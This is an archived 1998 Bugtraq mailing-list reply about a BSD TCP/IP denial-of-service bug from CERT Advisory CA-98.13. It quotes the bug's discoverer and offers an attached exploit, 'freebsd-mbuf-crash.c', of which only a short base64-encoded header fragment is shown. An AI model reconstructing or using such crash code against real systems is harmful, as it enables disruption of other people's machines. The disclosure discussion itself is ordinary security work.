[8858] in bugtraq
Re: CERT Advisory CA-98.13 - TCP/IP Denial of Service
daemon@ATHENA.MIT.EDU (Jeff Roberson)
Mon Dec 28 19:46:46 1998
Date: Mon, 28 Dec 1998 18:59:34 -0500
Reply-To: Jeff Roberson <jroberson@CHESAPEAKE.NET>
From: Jeff Roberson <jroberson@CHESAPEAKE.NET>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19981224111854.B10450@eniac.mpn.cp.philips.com>
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--0-1938059902-914889574=:20814
Content-Type: TEXT/PLAIN; charset=US-ASCII
Here is some exploit code I wrote a while back. It hardly ever crashes
BSD because the conditions required for the bug to work are out of our
controll.
Jeff
On Thu, 24 Dec 1998, Guido van Rooij wrote:
> On Wed, Dec 23, 1998 at 11:17:48AM +0100, Ulf Munkedal wrote:
> > Have I missed something on the list lately about these illegal packets that
> > CERT are adressing ("constructing a sequence of packets with certain
> > characteristics, an intruder can cause vulnerable systems to crash, hang,
> > or behave in unpredictable ways")?
> >
> > Or is this just the old teardrop/newtear/boink/bonk/nestea2 problem that
> > they are talking about?
> >
>
> No. This is an entirely new problem. It was discovered by me after a bug
> report for an SMP FreeBSD system. Since I know it is only a matter
> of time before such a bug would be abused, I decided to inform
> CERT (also because the problem has been present since at least the
> BSD Net/2 release). No public exploits are known to me.
>
> -Guido
>
--0-1938059902-914889574=:20814
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="freebsd-mbuf-crash.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSI.3.91.981228185934.20814B@chesapeake.net>
Content-Description:
LyogZnJlZWJzZC1tYnVmLWNyYXNoLmMgYnkgSmVmZiBSb2JlcnNvbiwgKGpl
ZmZyQG53bGluay5jb20pLiBEZWMgMTEgMTk5OC4gDQogKiBJJ20gb25seSBy
ZWxlYXNpbmcgdGhpcyBhcyBhbiBleGFtcGxlIGJlY2F1c2U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